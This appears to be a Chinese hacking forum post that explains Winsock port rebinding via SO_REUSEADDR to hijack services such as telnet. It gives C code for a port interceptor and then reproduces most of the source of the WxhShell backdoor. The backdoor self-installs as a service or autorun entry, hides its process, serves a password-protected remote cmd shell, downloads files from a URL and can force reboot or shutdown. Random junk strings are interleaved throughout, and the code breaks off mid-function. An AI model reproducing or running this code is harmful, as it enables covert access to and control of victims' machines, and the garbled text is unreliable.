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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P( 8OQL: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FVJGL Oxd]y1 saddr.sin_family = AF_INET; 2g! +<YZ~ j|#Bo:2km saddr.sin_addr.s_addr = htonl(INADDR_ANY); A6(/;+n ,Ko!$29[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); H"WprHe +ksVtG, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $yNS
pNmT0 tK\~A,= 这意味着什么?意味着可以进行如下的攻击: Ta\tYZj$ y?4BqgB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A2Gevj?F$ s!$7(Q86R 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XZd,&YiaG f._ua>v,f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _xhax+,! ~ {3aua:q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -ZLJeY L #KZBsa@p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {R6ZKB $6SW;d+>n 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R8'RA%O9J v`
1lxX'* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _I5Y"o P/_['7 #include j&qub_j"xX #include }*]-jWt1J\ #include %1+4_g9 #include Rnq7LGy DWORD WINAPI ClientThread(LPVOID lpParam); )+9Uoe~6 int main() $~T4hv : { <wD-qT W WORD wVersionRequested;
[/8%3 DWORD ret; S 30%)<W WSADATA wsaData; 0<@@?G BOOL val; (n_/`dP SOCKADDR_IN saddr; 'TB2:W3 SOCKADDR_IN scaddr; _X
x/(.O int err; kE1TP]| SOCKET s; I%KYtv~` SOCKET sc; e+fN6v5pU int caddsize; 1bwOmhkS HANDLE mt; ^^ixa1H< DWORD tid; CRy|kkT wVersionRequested = MAKEWORD( 2, 2 ); $
$mV d+ err = WSAStartup( wVersionRequested, &wsaData ); QoT;WM Z if ( err != 0 ) { uoh7Sz5!^ printf("error!WSAStartup failed!\n"); p9-K_dw3X@ return -1; AFwdJte9e } uQKT saddr.sin_family = AF_INET; YPI-<vM~ O0H.C0} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z+X}HL b@hqz!)l` saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '!B&:X) saddr.sin_port = htons(23); Ml-6OvQ7g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ab.(7GFK { $/Uq0U printf("error!socket failed!\n"); {]4LULq return -1; !R`{ TbN } ~*];pV]A[ val = TRUE; $6R-5oQ //SO_REUSEADDR选项就是可以实现端口重绑定的 5]:U9ts# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }i&/G+_ { X%x*f3[ printf("error!setsockopt failed!\n"); dioGAai' return -1; (KZ{^X?a } a/xn'"eli //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $VOFOc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kb!%-k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5wU]!bxr SQ+Gvq%Q] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ) ;Y;Q { j8:\%| ret=GetLastError(); Dk5 1z@ printf("error!bind failed!\n"); 'i|YlMFI g return -1; ((%?`y } P?P#RhvA1 listen(s,2); )Hr`MB while(1) k)TpnH! " { XfIJ4ZM5 caddsize = sizeof(scaddr); LCV(,lu //接受连接请求 Xne1gms sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); deh*Ib:(S if(sc!=INVALID_SOCKET) )J(6xy { S~G]~gt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +D*Z_Yh6 if(mt==NULL) >9Vn.S { o}p n0KO, printf("Thread Creat Failed!\n"); ,zY{ break; xxQ;xI0+] } -jmY)(\ } zX i'kB CloseHandle(mt); p0eX{xm } JC}D`h closesocket(s);
|-~Y#] WSACleanup(); Pr
C{'XDlU return 0; a(ZcmYzXU } |CbikE}kL DWORD WINAPI ClientThread(LPVOID lpParam) @BMx!r5kn { lq7E4r SOCKET ss = (SOCKET)lpParam; b"
[|:F>P SOCKET sc; #fM`}Ij.A unsigned char buf[4096]; P16~Qj SOCKADDR_IN saddr; VuZr:-K/ long num; %E;'ln4h&, DWORD val; Z0r'S]fe DWORD ret; yEy6]f+>+ //如果是隐藏端口应用的话,可以在此处加一些判断 \o3gKoL% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 m+$VVn3Z} saddr.sin_family = AF_INET; <9b&<K: saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XL/u#EA0< saddr.sin_port = htons(23); V>3X\)qu if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XQw9~$ { )0k53-h& printf("error!socket failed!\n"); }c:M^Ff return -1; 3Tm+g2w2V8 } [()koU#w. val = 100; I)HPO,7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3=V&K- { 'dc#F3 ret = GetLastError(); |;{6&S return -1; 7_[L o4_ } -$Ih@2"6 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~)M~EX&pK { Yx`n:0 ret = GetLastError(); dqcL]e return -1; @>7%qS } `">= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `kSZX:=}; { )=(kBWM printf("error!socket connect failed!\n"); RT8 ?7xFc closesocket(sc); G^@5H/) closesocket(ss); M )(DZ} return -1; Z4bNV?OH } LFV%&y|L while(1)
05 ^h" { /BL4<T f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tX~w{|k //如果是嗅探内容的话,可以再此处进行内容分析和记录 /dIzY0<aO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dDGQ`+H9 num = recv(ss,buf,4096,0); 1=v*O.XW` if(num>0) =-Ck4e *T send(sc,buf,num,0); 62NsJ<#> else if(num==0) PQE=D0 break; DVeE1Q num = recv(sc,buf,4096,0); A]3k4DLYS if(num>0) \GU<43J2uo send(ss,buf,num,0); b\5F ]r else if(num==0) !bP@n break;
{K!)Ss } o{[qZc_% closesocket(ss);
Wa~=bH closesocket(sc); o}{5iTg= return 0 ; !dT4 } 5~S5F3 lNv|M)I s,_m{ to ========================================================== Rk8P
ax/JK NX&_p!_V 下边附上一个代码,,WXhSHELL dQG=G%W 2 ? 4!K. ========================================================== bhs
_9ivw gI`m.EH}}N #include "stdafx.h" >.D4co> u]G\H!WkQ #include <stdio.h> 3iU=c&P #include <string.h> Qv ?"b #include <windows.h> #s9aI_ #include <winsock2.h> ^kSqsT" #include <winsvc.h> 0IWf!Sk
] #include <urlmon.h> BL4-7 _WbxH #pragma comment (lib, "Ws2_32.lib") |V7*l1 #pragma comment (lib, "urlmon.lib") 4b`=>X;W .eC1qWZJpd #define MAX_USER 100 // 最大客户端连接数 UL9n-M= #define BUF_SOCK 200 // sock buffer [.}oyz;}N #define KEY_BUFF 255 // 输入 buffer ;O#>Y T6kdS]4- #define REBOOT 0 // 重启 ]K%!@O! #define SHUTDOWN 1 // 关机 ]JR +ayk7 M'l ;: #define DEF_PORT 5000 // 监听端口 OB}Ib] yF/j Fn #define REG_LEN 16 // 注册表键长度 aQI(Y^&%3 #define SVC_LEN 80 // NT服务名长度 BLJj(- wS3'?PRX // 从dll定义API a09<!0Rp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Gz=lc[!7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >5SSQ\ 2~a typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lUMdrt0@z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q75s#[<ap 9o!Bzy+_ // wxhshell配置信息 x$(f7?s] 1 struct WSCFG { 8a"%0d# int ws_port; // 监听端口 xe$_aBU char ws_passstr[REG_LEN]; // 口令 ft
Wv~Eh int ws_autoins; // 安装标记, 1=yes 0=no EB|}fz char ws_regname[REG_LEN]; // 注册表键名 S5EK~#-L[ char ws_svcname[REG_LEN]; // 服务名 ?Ss!e$jf char ws_svcdisp[SVC_LEN]; // 服务显示名 ]J]h#ZHx char ws_svcdesc[SVC_LEN]; // 服务描述信息 {(?4!rh char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pmYHUj
# int ws_downexe; // 下载执行标记, 1=yes 0=no !Xw5<J3L- char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" II=79$n`G char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PTV:IzoW f|oh.z_R }; f`66h M[ 9(<@O%YU // default Wxhshell configuration Yu`~U,m struct WSCFG wscfg={DEF_PORT, r:TH]hs12+ "xuhuanlingzhe", wwcBsJ1{ 1, ^LzF@{ G "Wxhshell", _h1mF<\ X^ "Wxhshell", 7 Fsay+a "WxhShell Service", @9|hMo "Wrsky Windows CmdShell Service", PeEj&4k "Please Input Your Password: ", U,1-A=Og{o 1, 6D_D' ;o " http://www.wrsky.com/wxhshell.exe", \z}
Ic%Tp "Wxhshell.exe" +8ZF"{y }; q-d:TMkc Y`wSv NU // 消息定义模块 8*a&Jl char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `~q <N char *msg_ws_prompt="\n\r? for help\n\r#>"; Yu2Bkq+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ht}wEvv char *msg_ws_ext="\n\rExit."; uFga~g char *msg_ws_end="\n\rQuit."; #gw]'&{8D char *msg_ws_boot="\n\rReboot..."; /;
85i6 char *msg_ws_poff="\n\rShutdown..."; IV)j1 char *msg_ws_down="\n\rSave to "; 18:%~>.! 0+b1vhQ char *msg_ws_err="\n\rErr!"; #C@FYOf* char *msg_ws_ok="\n\rOK!"; ,5<Cd,`* .(2ik5A%9 char ExeFile[MAX_PATH]; 3"\l u?-E int nUser = 0; Pj%|\kbNs HANDLE handles[MAX_USER]; %D "I int OsIsNt; koi^l`B$ ^5
Tqy(M SERVICE_STATUS serviceStatus; 63 B?. SERVICE_STATUS_HANDLE hServiceStatusHandle; A&jlizN7 E8&TO~"a]e // 函数声明 ,
++ `=o int Install(void); >b4eL59 int Uninstall(void); !jR=pI fq int DownloadFile(char *sURL, SOCKET wsh); +^T@sa`[I int Boot(int flag); SByW[JE void HideProc(void); @U}1EC{A int GetOsVer(void); ;,e2egC' int Wxhshell(SOCKET wsl); BIL Lq8) void TalkWithClient(void *cs); jWfa;&Ra int CmdShell(SOCKET sock); u\JNr}bL int StartFromService(void); 3sZ\0P} int StartWxhshell(LPSTR lpCmdLine); ,s;UfF 5l*&>C[(i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G,w(d@ VOID WINAPI NTServiceHandler( DWORD fdwControl ); Thit VY\&8n}e( // 数据结构和表定义 SasJic2M SERVICE_TABLE_ENTRY DispatchTable[] = R{T$[$6S { Xla~Yg {wscfg.ws_svcname, NTServiceMain}, 65^9 {NULL, NULL} _:27]K: }; x-3\Ls[I !%0 *z // 自我安装 Hj,A5#|=J int Install(void) P7~ >mm+ { :9 ^*
^T char svExeFile[MAX_PATH]; kMd.h[X~ HKEY key; Q]>.b%s[ strcpy(svExeFile,ExeFile); `PH{syz VW4r{&rS // 如果是win9x系统,修改注册表设为自启动 B^9j@3Ux if(!OsIsNt) { czd~8WgOa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u;c?d!E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h'F=YF$o RegCloseKey(key); {/:x5l8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4{`{WI{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =rX>.P%Q 5 RegCloseKey(key); #;nYg?d= return 0; '`KY!]L } XpJ7o=?W3 } n?Nt6U } 92KRb;c else { }`~+]9< |
%Vh`HT // 如果是NT以上系统,安装为系统服务 }pu27F)& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LFtt gY if (schSCManager!=0) %bfQ$a: { <UQbt N-B\ SC_HANDLE schService = CreateService C~iL3Cb ( Dm<A
^u8 schSCManager, ySDH"|0 wscfg.ws_svcname, 04=c-~&q wscfg.ws_svcdisp, p.?rey<% SERVICE_ALL_ACCESS, LSr]S79N1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~R92cH>L SERVICE_AUTO_START, 0:Ol7 SERVICE_ERROR_NORMAL, 3'u-' svExeFile, [u*5z.^ NULL, .0]<k,JZZ NULL, "a U
aotx NULL, Y/zj[> NULL, W:L
AP
R NULL WI-1)1t ); '1s0D] if (schService!=0) "1M[5\Ax { V6reqEh CloseServiceHandle(schService); R/z=p_6p7` CloseServiceHandle(schSCManager); 6j LCU%^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9mTJ|sN:e strcat(svExeFile,wscfg.ws_svcname); hZ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v^ VitLC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :G%61x&=Zc RegCloseKey(key); $ gS>FJ return 0; }Kbb4]t|" } B,epzI } v
z '&%( CloseServiceHandle(schSCManager); ;@|n @ax } 81
sG } SKsKPqz wD'SPk5S? return 1; Z}Ft:7 } DN5 7p!z o:Sa,
!DK // 自我卸载 Z@PmM4F@S int Uninstall(void) +!.^zp21 { wEvVL HKEY key; ?+}_1x` 'AS|ZRr/ if(!OsIsNt) { xYpd: Sm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k_nql8H RegDeleteValue(key,wscfg.ws_regname); E#N|wq RegCloseKey(key); ZX./P0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `&c kZiq RegDeleteValue(key,wscfg.ws_regname); ]|PiF+ RegCloseKey(key); _^%,x return 0; zue~ce73J } ^ sLdAC } Cd}<a?m, } VQ9/Gxdeo else { )
ahA[ Fyatd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IKilr' if (schSCManager!=0) ^yN&ZI3P& { fHd#u%63K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8>in_h9 if (schService!=0) JO6)-U$7UG { g&Vx:fOC if(DeleteService(schService)!=0) { pJ'"j 6Q CloseServiceHandle(schService); U>}w2bZ* CloseServiceHandle(schSCManager); ,M
^<CJ return 0; @O^6&\s> } dE{dZ#Jfi CloseServiceHandle(schService); K:#I } *d4eK+U$5 CloseServiceHandle(schSCManager); \\B(r } XYOC_.f1 } VY=jc~c]v h^(*Tv-! return 1; dn$!& } z/2//mM A0 C,tVd // 从指定url下载文件 3kp+<$ int DownloadFile(char *sURL, SOCKET wsh) 6)
[H?Q { XrGglBIV HRESULT hr; V#gK$uv char seps[]= "/"; gu.}M:u char *token; eiaFaYe\ char *file; XW)lDiJl char myURL[MAX_PATH]; !Pfr,a char myFILE[MAX_PATH]; 7CURhDdk m'=Crei strcpy(myURL,sURL); uGK.\PB$ token=strtok(myURL,seps); a![{M<Y~ while(token!=NULL) IDriGZZ<)6 { h_,i&d@( file=token; j@3Q;F0ba token=strtok(NULL,seps); r1{@Ucw2 } ">,|V-H +.b,AqJ/ GetCurrentDirectory(MAX_PATH,myFILE); "
9wvPC ^ strcat(myFILE, "\\"); yEoF4bt strcat(myFILE, file); Ww+IWW@ send(wsh,myFILE,strlen(myFILE),0); 2*l/3VW send(wsh,"...",3,0); ZI}F om< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,K"U>& if(hr==S_OK) ]dmrkZz: return 0; &d?CCb$|0Y else C]`$AqKl return 1; qvKG-|j z3m85F%dR } WUXx;9 > o&)8o5 // 系统电源模块 &>W$6>@ int Boot(int flag)
goOCu { dhf!o0'1M HANDLE hToken; BLf>_bUk TOKEN_PRIVILEGES tkp; DGn;m\B ;~ $'2f~U if(OsIsNt) { pG^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m6\E$;` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lc1(t:"[ tkp.PrivilegeCount = 1; n&qg;TT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;LPfXpR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G3vxjD<DMW if(flag==REBOOT) { _Gi4A if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oC: {aK6\ return 0; G+"t/?/ } /1V xc 6 else { 5o'FS{6U if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U!?_W=? return 0; dI@(<R } {14fA)`% } l<LP& else { {
Vf XsI if(flag==REBOOT) { r|fL&dtr if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y^;ovH~ ve return 0; RSyUaA } y@: h4u"3 else { mCsMqDH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .* ?wF return 0; )D5"ap]fX } ):6 8%, } vzs)[AD 8f)?{AX0 return 1; Fg5kX } 0$)>D== pnowy; // win9x进程隐藏模块 #@9/g void HideProc(void) *K6g\f]b # { FaQe_; Bs_s&a> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j_!F*yul if ( hKernel != NULL ) fF$<7O)+] { L_uVL#To pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RXpw! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rb2S7k0{ FreeLibrary(hKernel); Jr
,;>
} D3Ig>gKo?m "$Z= %.3Q return; Vod\a5c } Pw7]r<Q nQX:T;WL@ // 获取操作系统版本 uk<4+x,2) int GetOsVer(void) 8 S:w7Hr { &Fzb6/ OSVERSIONINFO winfo; B:;pvW] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8>2.UrC GetVersionEx(&winfo); j9x<Y] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h5{'Q$Erl return 1; 1MP~dRZ$ else xd q?/^E return 0; zl>nSndRE } /og=IF2: nA-.mWD_C // 客户端句柄模块 ]Yn D int Wxhshell(SOCKET wsl) \=?a/ { J{p1|+h% SOCKET wsh; 6y%qVx#! struct sockaddr_in client; c)TPM/>(p DWORD myID; *v
jmy/3 h:b)Wr while(nUser<MAX_USER) nX6u(U { DkY4MH? int nSize=sizeof(client); =w_Ype` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RE7?KR> if(wsh==INVALID_SOCKET) return 1; t9k zw*U9 $k@O`xD,q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ??-[eB. if(handles[nUser]==0) 0U(@=7V closesocket(wsh); {3>$[bT else Ga-k nUser++; :j9l"5" } F'={q{2wH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6@h/*WElG oo/qb`-6 return 0; =1FRFZI!j } 1y4|{7bb }WC[$Y_@ // 关闭 socket nMq,F#`3N void CloseIt(SOCKET wsh) UAkT*'cB { !=*g@mgF closesocket(wsh); sQUM~HD\a nUser--; ="1Ind@w!
ExitThread(0); {nBhdM :i } >\-hO&%_ tzWSA-Li // 客户端请求句柄 .;y.]Z/; void TalkWithClient(void *cs) Z,
zWuE3 { aD<A.Lhy QUwd [ SOCKET wsh=(SOCKET)cs; j78i#}e char pwd[SVC_LEN]; ,8S/t+H char cmd[KEY_BUFF]; -/wtI char chr[1]; &n}]w+w int i,j; X[-xowE- s[RAHU while (nUser < MAX_USER) { :T^a&)aL% |IeTqEu9 if(wscfg.ws_passstr) { 7Kr*P<-G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {g'(~ qv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c?(4t67| //ZeroMemory(pwd,KEY_BUFF); vONasD9At i=0; a5dLQxb while(i<SVC_LEN) { -P(efYk jnkR}wAA // 设置超时 L4@K~8j7 fd_set FdRead; B?eCe}*f;B struct timeval TimeOut; 0JWDtmK=C FD_ZERO(&FdRead); !j8FIY'[ FD_SET(wsh,&FdRead); wjU9ZGM TimeOut.tv_sec=8; GL>O4S<` TimeOut.tv_usec=0; afCW(zHp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yJ[0WY8<kC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QGMV}y <O(4TO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |%BOZT pwd =chr[0]; 70yFaW if(chr[0]==0xd || chr[0]==0xa) { fF!Yp iI" pwd=0; h/QXPdV break; !4ocZmj\ } wm+};L&_ i++; -mbt4w } w1FcB$ +r // 如果是非法用户,关闭 socket SpIv#? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <v"R.< } z{%<<pZ @f_Lp%K send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I
}a`0Y&{ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *l(7D(# y B81f while(1) { ~T"Rw2vb H9Gh>u]} ZeroMemory(cmd,KEY_BUFF); RF?`vRZOe sbfuzpg]* // 自动支持客户端 telnet标准 O0*p0J j=0; F;Spi while(j<KEY_BUFF) { ` _6C{<O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H-!,yte cmd[j]=chr[0]; 8v6(qBK if(chr[0]==0xa || chr[0]==0xd) { 6lZ3tdyNo cmd[j]=0; &Gc9VF]o break; (fhb0i- } 4V"E8rUL( j++; zF@/K` } h7*J9[$ A\*>TN>s // 下载文件 Ky`qskvu if(strstr(cmd,"http://")) { =?5]()'*n send(wsh,msg_ws_down,strlen(msg_ws_down),0); w$>u b@= if(DownloadFile(cmd,wsh)) 8:q1~`?5"b send(wsh,msg_ws_err,strlen(msg_ws_err),0); L@rcK!s,lD else OMky$d# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qry@
s5 } ;'gWu else { cQjv$$&6[ '"52uZ{ switch(cmd[0]) { QDZWX`qw{ Do9x
XK // 帮助 g%aYDl case '?': { l&[O send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ),_@WW;k break; uIY#e<)}G } n5|fHk^s // 安装 O4 w(T case 'i': { |o7[|3:M if(Install()) xKbXt;l2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); UklUw else _OYasJUMG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2bz2KB5> break; //B&k`u } -$\y_?} // 卸载 J@`1TU case 'r': { mb1FWy=3 if(Uninstall()) aI'&O^w+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `4r 3l S else _9ao?: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +tB=OwU%0 break; ]IaMp788 } ~"gA,e-) // 显示 wxhshell 所在路径 rV.}PtcFY case 'p': { ` #0:gEo char svExeFile[MAX_PATH]; ;J'LS strcpy(svExeFile,"\n\r"); 1> ?M>vK strcat(svExeFile,ExeFile); n>z9K') send(wsh,svExeFile,strlen(svExeFile),0); xl{=Y< ; break; 5#6|j?_a } :x3QRF // 重启 t}_r]E,{u case 'b': { LPXi+zj send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 39c2pV[ if(Boot(REBOOT)) g_E$=j92v send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?PLPf>e else { . P viA closesocket(wsh); I]|Pq ExitThread(0); oE@a'*.\ } ;T\%|O=Ke break; hXw]K" } +:2klJ // 关机 T}Tp$.gB case 'd': { 3=#<X-); send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VO5#Qg en if(Boot(SHUTDOWN)) q~Hn-5H4Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); gE'sOT9v else { ,O5NLg- closesocket(wsh); E*&vy ExitThread(0); Ha#=(9. } t3WiomNCc break; m[osg< CR_ } @)F )S7 // 获取shell eSn+ B;
case 's': { Vsr.=Nd= CmdShell(wsh); `?H]h"{7Q closesocket(wsh); -]Bq|qTH[( ExitThread(0); > tS'Q`R break; *][`@@-> } J`Q>3]wL // 退出 $GV7o{"& case 'x': { 'ycJMYP8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9yu\ Ot CloseIt(wsh); ,u=`uD break;
p>,|50| } W.jGGt\<\ // 离开 @)+AaC#- case 'q': { 1q\\5A<V send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7O2/z:$f closesocket(wsh); 8LJ8
}%* WSACleanup(); &,vcJ{. exit(1); ,oe < break; u]wZQl#- } .8g)av+ } nUr5Qn? } 8$cLG*=h4 CZe ]kXNv // 提示信息 .~db4d] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KM0ru } \&:nFb%= } 5<k"K^0QS B4/>H| return; $p8xEcQdU# } T~?Ff|qFC ' {OgN}'{ // shell模块句柄 T"Y+m-<% int CmdShell(SOCKET sock) v~+(GqR=+ { g'f@H-KCD STARTUPINFO si; tIi&;tw] ZeroMemory(&si,sizeof(si)); dbLZc$vPj si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z#jZRNU%ox si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pQ" >UL* PROCESS_INFORMATION ProcessInfo; iU918!!N char cmdline[]="cmd"; LP^$AAy CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H'5)UX@LP return 0; uC vj! } YMyfL8bO ~NgA // 自身启动模式 b6M[q_ int StartFromService(void) tFn)aa~L { n8 0?N}
typedef struct `7Q<'oK { gaxsv[W>^ DWORD ExitStatus; +^ac'Y)A DWORD PebBaseAddress; P:S .~Jq DWORD AffinityMask; \w>y`\6mX DWORD BasePriority; hFUlNJ ULONG UniqueProcessId; Q} JOU ULONG InheritedFromUniqueProcessId; 2W(s(-hD } PROCESS_BASIC_INFORMATION; I|!OY`ko 8%mu8l PROCNTQSIP NtQueryInformationProcess; MKCsv+ w"F
